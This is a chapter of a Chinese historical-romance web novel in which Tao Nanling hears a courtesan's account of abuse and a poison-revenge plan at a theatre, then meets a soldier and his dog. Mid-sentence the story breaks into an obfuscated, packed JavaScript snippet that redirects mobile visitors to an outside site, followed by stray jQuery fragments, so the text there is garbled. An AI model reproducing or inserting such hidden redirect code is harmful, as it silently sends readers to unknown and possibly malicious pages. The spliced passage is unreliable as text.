22. 梨园

作品:《我要黑化怎奈他拖我后腿

    第22章梨园


    陶南岭说“有幸”二字并非特意捧范老板臭脚,当年董砚秋年少成名,一曲霸王别姬叫多少人魂牵梦萦,短短时间内名声大噪,自此,他成为江南地带众多达官贵人疯狂追捧的对象,可无奈命途多舛,终究昙花一现,被师弟毒哑了嗓子,后又被班主用100两银钱卖给丝绸商人做男妾。


    范老板苦笑微叹:“往事已矣不可追,自我逃到上京便改回本姓,现下当个戏班子老板也自在快活。”


    众生皆苦,陶南岭无心揭他伤疤,只是默默为范老板斟满茶杯,意有所指,“愿我们早日获得新生。”


    酉时三刻,梨园一楼已经热闹非凡,铜锣声一落,角儿的水袖一甩,台下众人拍手叫“好”,桌面上散落的瓜子皮和花生壳被震荡落地,跑堂们肩上搭着白毛巾,脚上踩着布鞋,频繁而灵巧地穿梭在桌缝中。


    “客人您稍等,热茶随后添来。”话音刚落,转身又接到二楼抛来的赏钱,他接住眼前一亮,指尖微捻便高声唱报:“谢赵老爷赏银2钱——”


    梨园灯红酒绿,热闹非凡,但二楼最靠前的甲字一号房内却安安静静。


    一身穿粉红色衣裙的女子神色困顿瘫坐在房内木桌边,她眉眼艳丽浓稠,眉间一点红色朱砂痣,长相美艳。


    但她的装扮十分奇怪,已至仲春,其他人皆着抹胸丝裙时,她却包裹严实,连脖颈都被丝帕裹紧,一丝一毫的肌肤均未漏在外面。


    “我听府内之人无意提起,说是陶相家新认回的表小姐要给姓郭的当姨娘?名字好像叫满月,你可认得?”艳丽女子恹恹开口。


    “你怎么回事,一副精气神被吸干的架势。”陶南岭先是关心一句,后又回答:“满月原是我身贴身侍女,府里的家生奴才,上次被覃氏要了回去,她似乎对那姓郭的有意,我没想到这么快便被覃氏指人。”


    “她是你贴身侍女!”


    “怎么了?怜娘。”


    为何有这么大反应,陶南岭不解。


    怜娘却没回复,她只是将脖颈上面的丝巾取下,只见原本白皙的脖颈上面青紫红肿交加,那伤痕像是被鞭子抽的。


    “这里还有。”怜娘捋起双袖,白色玉臂疤痕交纵,新疤落在旧疤之上,看不到一块好肉,陶南岭仔细观察却发现伤口不止由鞭子造成,还有烧伤烫伤。


    实在凄惨,存菊倒吸一口凉气。


    怜娘却没管存菊的惊异,她将袖管放下,将丝巾重新将脖颈围好,才说:“我知道姓郭的变态,可没想到他如此热爱在房事上玩花样,前段日子有你的玉骨丸帮忙,我没受多少皮外伤,这些日子玉骨丸也没了,才算是真正对那恶心男人开了眼界。”


    “所以小岭儿,你得好好劝劝你那婢女,别瞎着眼往火坑里跳。”


    尽管她眉眼困倦,但还是打起精神认真规劝,她是有不得已留在郭府的理由,却真心不希望无辜女子被一叶障目,只看到表面繁华,见不到内里的腐烂,蒙着头往蛇窝里进。


    “喝杯浓茶吧,醒醒神。”陶南岭眼中闪过沉思,却没表露,倒了杯浓茶递给怜娘。


    见怜娘喝完,她又开口:“待我回府会暗示,但最后如何看她自己选择吧。”


    好言不劝想死的鬼,若满月执迷不悟,她亦问心无愧。


    “对了,有件事我得先告诉你。”


    “什么?”


    “那姓郭的很不对劲,他晚上从来不在他这些女人身边留宿,都是回书房歇息。”


    “应该是嘴比较严?怕睡梦中说梦话,将秘密给抖落出来。”陶南岭推测。


    “是的,我也有这个想法,哪怕他晚上折麽我到丑时,也要回去休息,所以我怀疑姓郭的肯定有什么见不得人的大秘密。”


    说到这,怜娘总算有了几分精神,她顿了会,接着道:“之前我偷摸去过他书房,没想到连院门都还没进便被门口那两个拿着刀,凶神恶煞的侍卫给拦了回来。”


    “不过这也提起了我的兴趣,经我特别留意,只要你爹还有个蒙面人来的时候,姓郭的就不会来找我,而且他那书房围的守卫数量激增。”


    联想到存菊之前告知的府中宴会增加,藏头漏尾之人不胜枚举,陶南岭紧皱眉头,她这爹恐怕有什么大动作了。


    怜娘见陶南岭应该意识到有问题后便点到为止,并未深谈,只是打着哈欠,浅酌了一口浓茶,滋味苦的她频频咋舌。


    “多谢。”


    “你我之间不谈谢,奴家只求三娘子早点将玉骨丸配出来,因为——”没有玉骨丸,面对郭老狗的夜晚真的好漫长,她怕还没给主人报仇雪恨,便死在夏夜之前。


    最后几句话怜娘没有说出口,但频繁颤动的睫羽却暴露出她的脆弱。


    “娘子放心,只要药材齐全,南岭三日之内必能做出来。”


    “好!药材我已经备好,全部按往常那般送你院中了。”怜娘眉眼舒展了些,困倦无神的双眼有了些光亮,甚至提起几分精神主动开了玩笑:“若是被丽娘或者江湖上的人知道千金难求的玉骨丸被我当糖丸用,怕是不知羡慕嫉妒到何种地步?”


    “怜娘,你还有亲妹妹,忌服用过量。”陶南岭难得拾起医者仁心,认真规劝。


    “那姓郭的玩女人玩多了不举,但玉骨丸又需要□□接触才好传递,这东西对女人来说是毒物,但对男子来说更是剧毒,待毒深入他肌理后我才好复仇。”怜娘苦笑几声。


    她扭头看向窗下戏台,安静不语,“咿咿呀呀”的唱戏声自楼下幽幽传来,她用手托住半张脸,看似十分专注的听戏,但仔细观察能看到她双肩颤抖,还时不时用食指刮蹭侧颊。


    “借你用,记得下次相见时洗干净了还给我。”陶南岭拿出一块干净素雅的手帕递给怜娘。


    怜娘接过手帕,极快速蒙在面上,泪痕极快泅湿了帕子,显出湿痕。


    待怜娘拿开手帕,她已停止哭泣,但眼眶还微微红肿。


    她咧开嘴笑道:“这帕子用料好,我得昧下,下次见面再还你其他的东西做补偿。”


    怜娘在许陶南岭下一次相见,同时也是在许她不到万不得已不会与姓郭的拼命。


    “好,只要你喜欢,下次我多做几种花样的手帕送你!”


    “你说的,可不许反悔。”


    “看看戏吧,现在正是精彩之处呢。”陶南岭看了眼戏台,只见黑衣老旦提银枪上场了。


    “哦?我得好好瞅瞅,《伍员吹箫》,当是一场好戏!”


    可在各位角上场演戏之前,陶南岭环顾四周却发现角落有一位背着巨剑的少年倚靠墙角,他那儿恰好离正门最近。


    陶南岭心中一震,她急忙靠近靠街窗柩,从存菊留


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16555731|186701||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的一口大小缝隙瞅见即便在月夜下依旧白到反光的赵十安。


    “怎么了?小岭儿。”怜娘见陶南岭行事异常,察觉有意,压低声音连忙询问。


    “快走,他们来了!”陶南岭抓住怜娘手腕,将她带给门口守着的存菊,“将怜娘交给范老板,他会安排。”


    “好!”存菊见三娘子面色紧张,也知不是刨根问底的时机,连忙依照吩咐将怜娘带走。


    而陶南岭亦不得闲,她连忙将左侧窗柩全部打开,楼下的气味便顺着热浪朝屋内卷,然后打翻茶壶,一震浓烈茶香便扑鼻而来。


    做完这些,她又将怜娘用过的杯子打碎混进茶壶,出门招呼小二换壶茶并将里面收拾一下。


    梁恒带着逐魑到甲字一号房时,恰好与提着茶壶的小厮擦肩而过,而逐魑停下脚步低下头对着小厮的背影嗅了又嗅。


    梁恒见逐魑不走,他凝起剑眉对小厮起疑。


    “梁公子,真巧啊,你也来看戏?”


    陶南岭站在门槛处询问。


    这一问打断了逐魑杵在地面上嗅的动作,同时也将梁恒的怀疑打断。


    “今晚夜游,梁某带逐魑出来巡逻。”


    “哦?原来是这样,那南岭便不打扰大人公事了。”她说完准备关门,却被一颗硕大的狗头卡住门缝。


    !


    猛然出现的狗脸将陶南岭吓一大跳,这狗额头上几撮黄色狗毛,其他部位的毛发黑亮,它长相凶猛,不断伸出舌头吐气,张嘴时不经意露出锋利獠牙,极其壮硕,目测长度与成年男子一般。


    “三娘子且慢,逐魑闻着玉骨丸的气味便一路追查到这儿。”梁恒站在门口,他沉稳解释。


    听到这,陶南岭知道她得松开关门的手了,如果执意关门,必定引起梁恒更深的怀疑。


    她微笑打开房门,后退两步,将逐魑和梁恒放进来。


    却没想到逐魑进来后没有到处嗅,而是发出“呜呜”的声音不停围着陶南岭转圈摇尾巴,两只耳朵贴在脑后,眯起眼睛,不断用身体撞陶南岭。


    陶南岭傻了,怎么跟她想的不一样。


    “逐魑!”


    梁恒低呵,逐魑听后嘤嘤哼唧着,瞪着水汪汪的狗眼,四肢趴在地上委委屈屈看着陶南岭。


    “它,它好像很喜欢三娘子。”


    梁恒虎口握拳,掩饰尴尬的干咳两声。


    “若三娘子不怕狗,是否可以摸摸它的头。”梁恒耳尖被慢慢染红,他头次见逐魑如此喜欢一个人,毕竟是与他上过战场出生入死的兄弟,他只能丢掉脸皮请求。


    原本还委屈巴巴的逐魑听声后又高兴起来,尾巴摇的快出残影。


    “当——当然可以!”


    这一人一狗不是来查案的吗,现下怎么发展成逗狗了。


    陶南岭试着将手摸上逐魑长着黄毛的额头,见它舒服的呜呜叫唤,才放心轻柔抚摸整个狗头,而逐魑也不闲着,它用狗头贴在陶南岭小腿偷摸蹭气味。


    就这么发展着,直到赵十安和曹筠上来后,二人看到如此惊人的一幕发出惊呼。


    被赵十安视为杀神的逐魑,那个爪下无数北荒残魂,令北荒人害怕的逐将军,此刻竟然真的像只土狗似的蹭陶三娘子撒娇。


    这什么情况!


    二人满头问号互看一眼,眼中皆带着迷惑。